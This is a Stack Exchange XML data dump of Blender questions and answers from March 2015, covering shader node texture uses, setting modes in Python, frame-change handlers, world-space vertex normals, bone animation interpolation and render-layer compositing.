  <row Id="27480" PostTypeId="2" ParentId="27475" CreationDate="2015-03-22T03:45:45.820" Score="1" Body="&lt;p&gt;Here are a couple of examples to illustrate some of the possibilities of nodes using a single texture like this:&lt;img src=&quot;https://i.stack.imgur.com/CMApu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the texture as color on a glossy shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4beix.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the texture as roughness on the glossy shader, the roughness value is determined by the brightness of the image, dark areas are more reflective.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jbyJn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the image as Roughness on the glossy shader and as Displacement (bump map) on the material output:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gl8R0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the image as a mix factor for two different shaders:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o9oKq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using an RGB Curves node to alter the contrast of the image used as factor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VZKpi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using RGB curves to control the displacement&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mbVrV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, there are quite a number possibilities for endless fun.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-03-22T03:45:45.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27481" PostTypeId="1" AcceptedAnswerId="27486" CreationDate="2015-03-22T04:38:36.687" Score="3" ViewCount="117" Body="&lt;p&gt;If I drag to change the Alpha value for a material, it updates continuously in the viewport when viewport_shade is set to Material; the object appears to fade in and out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I use keyframes to change that same value, the display does not update. What's going on? Is this a bug?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I don't think this is a duplicate of &lt;a href=&quot;https://blender.stackexchange.com/questions/1054/material-opacity-in-viewport&quot;&gt;this question&lt;/a&gt; because the asker seems to be referring to Rendered mode rather than Material mode. It's a little unclear what mode he was referring to, but there is no useful answer to my question there, and that question is 2 years old.&lt;/li&gt;&#xA;&lt;li&gt;I have enabled Transparency under Display in the object properties.&lt;/li&gt;&#xA;&lt;li&gt;I have set Shading to GLSL.&lt;/li&gt;&#xA;&lt;li&gt;I'm using Blender 2.7.4 on Kubuntu 14.04 64 with a Nvidia GTX 750 Ti.&lt;/li&gt;&#xA;&lt;li&gt;You can replicate this simply by creating a cube, giving it alpha transparency and doing as described above.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11518" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2015-03-22T09:20:21.527" Title="Displaying keyframed opacity / transparency in Material mode in viewport?" Tags="&lt;materials&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27482" PostTypeId="1" AcceptedAnswerId="27485" CreationDate="2015-03-22T05:43:17.500" Score="8" ViewCount="2689" Body="&lt;p&gt;I'm developing a basic sculpting addon for practice and one of the features I'd like to include in this addon requires modes to be set explicitly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example of the type of api that I'm looking for.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if bpy.context.mode != 'OBJECT':&#xA;    bpy.ops.set_mode('OBJECT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried looking for something on my own, but I only found methods that toggle the mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a method like what I was describing that would do the job?&lt;/p&gt;&#xA;" OwnerUserId="8262" LastEditorUserId="8262" LastEditDate="2017-05-07T19:58:55.713" LastActivityDate="2017-05-07T19:58:55.713" Title="Is there a way to explicitly set the mode in python?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27483" PostTypeId="2" ParentId="27465" CreationDate="2015-03-22T06:00:21.213" Score="12" Body="&lt;p&gt;One way is by &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Basics/Drivers&quot; rel=&quot;noreferrer&quot;&gt;using drivers&lt;/a&gt;. Drivers allow you to calculate a value to use, this may be from other values in the same object, or from other objects. &lt;a href=&quot;https://blender.stackexchange.com/a/27056/935&quot;&gt;This answer&lt;/a&gt; provides examples. Also consider that &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Extensions/Python/Security&quot; rel=&quot;noreferrer&quot;&gt;drivers may be disabled&lt;/a&gt; by the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way is to setup a &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_0/bpy.app.handlers.html&quot; rel=&quot;noreferrer&quot;&gt;handler function&lt;/a&gt;. You could choose between using &lt;code&gt;frame_change_post&lt;/code&gt; or a &lt;code&gt;render_pre&lt;/code&gt;. You simply define your function and then append it to the handler list, then remove it when it is no longer needed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def my_handler(scene):&#xA;    val = scene.objects['Cube'].location.x&#xA;    scene.objects['Sphere'].location.y = val + 1.6&#xA;&#xA;def register():&#xA;    bpy.app.handlers.frame_change_post.append(my_handler)&#xA;&#xA;def unregister():&#xA;    bpy.app.handlers.frame_change_post.remove(my_handler)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-03-22T06:00:21.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27485" PostTypeId="2" ParentId="27482" CreationDate="2015-03-22T09:05:15.940" Score="12" Body="&lt;p&gt;You can go directly to a &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_0/bpy.ops.object.html?highlight=mode_set#bpy.ops.object.mode_set&quot; rel=&quot;noreferrer&quot;&gt;specific mode using&lt;/a&gt; -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.mode_set(mode='EDIT', toggle=False)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Valid mode values are &lt;code&gt;'OBJECT', 'EDIT', 'SCULPT', 'VERTEX_PAINT', 'WEIGHT_PAINT', 'TEXTURE_PAINT', 'PARTICLE_EDIT', 'POSE'&lt;/code&gt; but not all will be accepted at anytime, eg &lt;code&gt;PARTICLE_EDIT&lt;/code&gt; will only be accepted if the object has a particle system.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-03-22T09:05:15.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27486" PostTypeId="2" ParentId="27481" CreationDate="2015-03-22T09:20:21.527" Score="5" Body="&lt;p&gt;I am fairly certain this is a limitation of the current system. Simply put the changes in material settings don't trigger updates in the viewport. Manually altering values in the node editor or the material properties causes the UI to deliberately send an update event to the viewport, keyframed changes during playback don't. The keyframed changes do pass through to the render engine though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wouldn't expect this to change until the new dependency graph work is finished.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-03-22T09:20:21.527" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27487" PostTypeId="2" ParentId="27468" CreationDate="2015-03-22T09:42:25.683" Score="3" Body="&lt;p&gt;Materials for blender internal have limited support for nodes, while cycles uses nodes only. The cycles nodes will not work for internal materials nor will internal nodes or material settings work with cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create a material that has both nodes in it. There are some nodes that are common to both and can be interlinked with each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What this means is you cannot use the same nodes for both render engines, but you can integrate two node setups into one material so that one material can be used for both render engines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a simple material that uses an image texture and a diffuse node this will be a simple task. For more complex materials you may find it hard to get the two to match up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example you could look at the materials used in &lt;a href=&quot;https://cgcookie.com/resource/cg-cookie-flex-rig/&quot; rel=&quot;nofollow noreferrer&quot;&gt;CGCookies Flexrig&lt;/a&gt;, the materials there are deliberately created to work with both render engines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While not large enough to be very clear this is one of the materials in the Flexrig, The red and green frames are cycles nodes while the darker section at the bottom is for BI. The purple section is common values used in both node setups. The cycles nodes appears simpler because they are groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/M3stc.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="25" LastEditDate="2015-11-22T21:19:47.830" LastActivityDate="2015-11-22T21:19:47.830" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27488" PostTypeId="2" ParentId="27474" CreationDate="2015-03-22T11:49:57.120" Score="1" Body="&lt;p&gt;Here is the logic setup for this system :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( hit_penetrable and Xray_hit_player ) : send(XY)&#xA;if ( hit_player ) : send(X)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oh1yk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a &lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/126/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Demo file&lt;/a&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/126/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=126&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-03-22T19:25:34.707" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27489" PostTypeId="2" ParentId="8067" CreationDate="2015-03-22T12:11:42.490" Score="1" Body="&lt;p&gt;You can also use the Operator Sheat Sheet under Help in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you open the Text Editor there is a list with all install operator &lt;/p&gt;&#xA;" OwnerUserId="13316" LastActivityDate="2015-03-22T12:11:42.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27490" PostTypeId="1" AcceptedAnswerId="29212" CreationDate="2015-03-22T12:59:01.340" Score="2" ViewCount="2803" Body="&lt;p&gt;I have a question about blender's python script.&#xA;I would like to share variables among more than two operations, however I don't know how to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use global variable, it's easy to solve this problem.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;selected_faces = []&#xA;class SelectFace(bpy.types.Operator):&#xA;    bl_label = &quot;Select Face&quot;&#xA;    def execute(self, context):&#xA;        global selected_faces&#xA;        selected_faces = ...   # get selected faces.&#xA;        .....&#xA;class OperationAboutSelectedFaces(bpy.types.Operator):&#xA;    bl_label = &quot;Operation About selected Face&quot;&#xA;    def execute(self, context):&#xA;        global selected_faces&#xA;        # some operation to &quot;selected_faces&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I want to avoid using global variable.&#xA;So, I would like to rewrite this code as follows...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class SelectFace(bpy.types.Operator):&#xA;    bl_label = &quot;Select Face&quot;&#xA;    def execute(self, context):&#xA;        selected_faces = ... # get selected faces.&#xA;        .....&#xA;class OperationAboutSelectedFaces(bpy.types.Operator):&#xA;    bl_label = &quot;Operation About selected Face&quot;&#xA;    def execute(self, context):&#xA;        # some operation to &quot;selected_faces&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Assuming operation sequence are as follows.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&quot;Select Face&quot;&lt;/li&gt;&#xA;&lt;li&gt;&quot;Operation About selected faces&quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="13317" LastEditorUserId="3127" LastEditDate="2015-03-22T15:32:22.717" LastActivityDate="2015-05-01T05:35:18.787" Title="How to share variable among more than 2 operation" Tags="&lt;python&gt;&lt;scripting&gt;&lt;add-on&gt;" AnswerCount="3" CommentCount="7" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27491" PostTypeId="1" AcceptedAnswerId="33298" CreationDate="2015-03-22T15:34:02.220" Score="3" ViewCount="3680" Body="&lt;p&gt;If i get a normal of a vertex - i'll get it in local coordinates.&#xA;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.object.data.vertices[0].normal&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If an object will have rotation or scale - normal direction will be incorrect according to world orientation. How to convert the vertex normal according to the world?&lt;/p&gt;&#xA;" OwnerUserId="911" LastActivityDate="2019-01-10T11:39:18.987" Title="Python: vertex normal according to World" Tags="&lt;python&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27492" PostTypeId="1" CreationDate="2015-03-22T15:37:09.290" Score="0" ViewCount="714" Body="&lt;p&gt;I have made a character and rigged him, but I need to export the character as x-file. The problem is this won't export correctly. The strange thing is: I tested it with only a simple animation - just rotating his arm - which works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if I export the whole animation, the character only moves a bit around.&#xA;It looks like the model takes the animation only from one bone, but the armature &lt;em&gt;is&lt;/em&gt; exported. I can see this in &quot;Open 3D Model Viewer&quot;.&#xA;I tried to bake the animation, but it did not work. Perhaps i did it wrong - I'm not sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone encountered this problem before and found any solution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the file: &lt;a href=&quot;https://www.dropbox.com/s/ks35u4njoe...ing.blend?dl=0&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/s/ks35u4njoe...ing.blend?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.: I used Blender 2.72.&lt;/p&gt;&#xA;" OwnerUserId="13319" LastEditorUserId="3078" LastEditDate="2015-03-24T12:33:05.040" LastActivityDate="2015-03-24T12:33:05.040" Title="How to export animation to DirectX" Tags="&lt;animation&gt;&lt;export&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27493" PostTypeId="1" AcceptedAnswerId="27499" CreationDate="2015-03-22T15:38:54.877" Score="1" ViewCount="561" Body="&lt;p&gt;EDIT: I solved it by simply making smaller rotation increments with more keyframes. Would still be interesting to know the cause and if there's a better solution though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm trying to simply animate the rotation of a bone using the 3D cursor as a pivot. When I rotate it myself it works fine this way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/klq1W.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when I animate it, the rotation ends up looking like this instead:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LluzZ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the cause of this and how can I fix it?&lt;/p&gt;&#xA;" OwnerUserId="13069" LastEditorUserId="13069" LastEditDate="2015-03-22T16:24:57.773" LastActivityDate="2015-03-22T18:15:38.370" Title="Problem with bone animation with 3D cursor as pivot" Tags="&lt;animation&gt;&lt;armature&gt;&lt;bones&gt;&lt;keyframes&gt;&lt;3d-cursor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27494" PostTypeId="2" ParentId="27462" CreationDate="2015-03-22T15:56:16.783" Score="1" Body="&lt;p&gt;I have deleted the particle system and setup an new one, and this time it works. I cannot explain why I wasn't able to see the particles on the transparent background before.&lt;/p&gt;&#xA;" OwnerUserId="625" LastActivityDate="2015-03-22T15:56:16.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27495" PostTypeId="2" ParentId="27491" CreationDate="2015-03-22T15:57:03.203" Score="2" Body="&lt;p&gt;you have to multiply it with the world matrix (the order matters! Matrix first) :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;C.object.matrix_world * C.object.data.vertices[0].normal&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="13633" LastEditDate="2018-09-27T14:21:48.497" LastActivityDate="2018-09-27T14:21:48.497" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="27497" PostTypeId="1" CreationDate="2015-03-22T17:02:22.190" Score="0" ViewCount="826" Body="&lt;p&gt;I am trying to bake a texture with Blender Internal on an object using Reflection Coordinates, I was using Normals Coordinates and a camera location to define the final result, but it doesn't work with Reflection Coordinates, the result is different than the camera view. Is there a way to achieve that with different settings?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f2m1H.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-03-22T17:02:22.190" Title="Baking a Texture with Reflection coordinates" Tags="&lt;blender-internal-render-engine&gt;&lt;texture-baking&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27499" PostTypeId="2" ParentId="27493" CreationDate="2015-03-22T18:15:38.370" Score="3" Body="&lt;p&gt;This is the way animation work when you add a keyframe you store the variables values (loc, Rot, Scale) at that time, and when you play the animation blender try to interpolate ( guess ) the values of the variable (between keyframes ) depending on the last and next value and the type of interpolation used (this can be seen in the F-curve )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lLTDC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;so whatever happens between keyframes is lost and new value will be calculated&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;in this case of the bone &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the location of the bone is the location of its head&lt;/li&gt;&#xA;&lt;li&gt;the bone will rotate around its head&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;in this example i keyframed the first and last states only :&#xA;&lt;img src=&quot;https://i.stack.imgur.com/x8YBm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;the result motion :&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the bone will follow straight path from the first pose to the last (blender can't  regenerate the original motion from those two states only) while rotating around its head &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W1yMX.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To prevent this you can :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;add more intermediate keyframes.&lt;/li&gt;&#xA;&lt;li&gt;or use an empty as a parent at the center of rotation.&lt;/li&gt;&#xA;&lt;li&gt;or use curve as guide for the motion&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-22T18:15:38.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27500" PostTypeId="1" AcceptedAnswerId="27507" CreationDate="2015-03-22T19:12:15.363" Score="1" ViewCount="377" Body="&lt;p&gt;So, I followed some tutorials and modeled planet Earth and an asteroid. Because it's two different compositions I separated each one in a different render layer. But only the asteroid layer is rendering properly, and the planet is not showing. I don't know what I am doing wrong, so I think is easier if you guys check it out if you can.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://mega.co.nz/#!s0Bl1KKb!cADYrwfSZCa_HBIJ6iJssdLhxLKbg7EMaUdxZXHc__w&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here's the .blend&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Any help is appreciated, thanks :)&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://mega.co.nz/#!QpRziQ5Q!UyYsjiN4h7ZVF9IPDNIPnXKFWS5S5TVAKYc6k766nQE&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blend with packed textures&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13322" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-03-22T20:54:11.603" Title="I am trying to render two renderlayers, but the second layer black background is on top of the first layer" Tags="&lt;workflow&gt;&lt;blender-internal-render-engine&gt;&lt;compositor&gt;&lt;render-layers&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27501" PostTypeId="2" ParentId="7477" CreationDate="2015-03-22T19:17:06.123" Score="2" Body="&lt;p&gt;For me to get this to work. I changed units to metric. To create a 2cm cube I had to create a cube and set the scale to 2cm. I made sure that I applied the scale to the cube so that it says:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;scale x: 1&#xA;scale y: 1&#xA;scale z: 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;length: 2cm&#xA;width:  2cm&#xA;height: 2cm&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I exported selected as *.STL and dragged into Slic3r. From there I applied a scale of &quot;100,000&quot; as &quot;100&quot; was default. YES you heard that right 100k. I'm not sure why this happening but it works for me and I measured my model after i printed it and it's 2cm square. Hope this helped.&lt;/p&gt;&#xA;" OwnerUserId="9646" LastActivityDate="2015-03-22T19:17:06.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27502" PostTypeId="1" CreationDate="2015-03-22T19:58:25.957" Score="0" ViewCount="1364" Body="&lt;p&gt;I don't know if the problem is in Unity or in Blender. I'm asking both communities. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When exporting an armature animation from Blender with .fbx format and playing it in Unity, it always flips the model 180 degrees before playing it. It sometimes also moves the model to the origin. Both issues shown in the picture below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what causes this and how to fix it? I've spent hours trying all kinds of things. The flipping issue I was once able to solve by adding a keyframe to frame 0 that contained the location, rotation and scale data, but that only worked once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qr0zC.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13069" LastActivityDate="2015-03-25T18:17:51.200" Title="Animation flipped 180 degrees in Unity with .fbx export" Tags="&lt;animation&gt;&lt;export&gt;&lt;bones&gt;&lt;unity&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27503" PostTypeId="1" AcceptedAnswerId="27509" CreationDate="2015-03-22T20:14:58.993" Score="1" ViewCount="826" Body="&lt;p&gt;I have a mesh attached to an armature with many bones. I have generated weights off the bones automatically. In some areas, the amount of weight each bone got is uneven, causing distortion between bones. In these areas, the weight of the groups does not reach 1 for those bones. I could solve these problems if I could add to all groups to bring them up to weight 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I add a set amount to the weight of every vertex in a vertex group (such as +.03), and do this automatically for every vertex group on an object? I have far too many bones to do it by hand.&lt;/p&gt;&#xA;" OwnerUserId="13324" LastActivityDate="2015-03-22T22:23:15.000" Title="Add weight to all vertex groups on an object?" Tags="&lt;python&gt;&lt;rigging&gt;&lt;bones&gt;&lt;weight-painting&gt;&lt;vertex-groups&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27504" PostTypeId="1" AcceptedAnswerId="27622" CreationDate="2015-03-22T20:21:31.247" Score="3" ViewCount="1750" Body="&lt;p&gt;I have an IK chain controlling a mesh. I want to attach this IK chain to something. I have tried putting Child Of, Copy Loc, and Copy Transform bone constraints on the start of the chain. None of them do anything. Is there some rule against using constraints on the first bone in a chain? I notice that it works if I constrain the bone in Edit mode with a regular constraint instead of a bone constraint in pose mode, but this causes some strange issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody know how I can go about attaching my bone chain? Specifically, I need to have it following a specific vertex (vertex group) on a mesh that is being simmed, so it doesn't work to constrain the entire armature object, or to constrain to the object. Is there an option better than constraining the bone in edit mode to an empty, and then having that empty be constrained to a vertex?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Example file (see comments)&#xA;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/127/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=127&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13324" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-03-24T23:05:31.813" Title="Bone constraints not working on first bone in chain" Tags="&lt;rigging&gt;&lt;bones&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="19" ContentLicense="CC BY-SA 3.0" />
  <row Id="27505" PostTypeId="1" AcceptedAnswerId="27508" CreationDate="2015-03-22T20:31:04.910" Score="7" ViewCount="8962" Body="&lt;p&gt;I enabled the &lt;strong&gt;&lt;em&gt;Proportional Editing&lt;/em&gt;&lt;/strong&gt; option and tried to scale the part of the mesh. Although I can see the proportional editing ring it does not work. What may cause this problem?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6WVUJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="241" LastEditDate="2020-05-27T13:32:28.913" LastActivityDate="2020-05-27T13:32:28.913" Title="Proportional editing doesn't work" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;editing&gt;&lt;proportional-editing&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27506" PostTypeId="1" AcceptedAnswerId="27523" CreationDate="2015-03-22T20:33:29.837" Score="1" ViewCount="2308" Body="&lt;p&gt;I am rigging a model of a creature which has sort of shields on its front legs, but I don't want those shields to be deformed, when I pose the leg. The rest position looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/m3pig.jpg&quot; alt=&quot;rest pose&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I use the bone, which controls the lower arm, it turns out like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z73Zn.jpg&quot; alt=&quot;deformed&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make the shield follow the arm without deformation? It's attached to the arm (I can't separate it).&lt;/p&gt;&#xA;" OwnerUserId="9588" LastEditorUserId="3078" LastEditDate="2015-03-23T07:59:37.393" LastActivityDate="2015-03-23T07:59:37.393" Title="How to make part of the mesh follow a bone without deforming it" Tags="&lt;animation&gt;&lt;rigging&gt;&lt;weight-painting&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27507" PostTypeId="2" ParentId="27500" CreationDate="2015-03-22T20:54:11.603" Score="2" Body="&lt;p&gt;The &lt;em&gt;lens distortion&lt;/em&gt; node is making all the pixels in the asteroid layer opaque so that the alpha over covers up the earth layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution is to do the lens distortion after combining the layers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9jurv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The lens distortion should be done after combining layers anyway, as with a real lens everything in the image is distorted.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-03-22T20:54:11.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
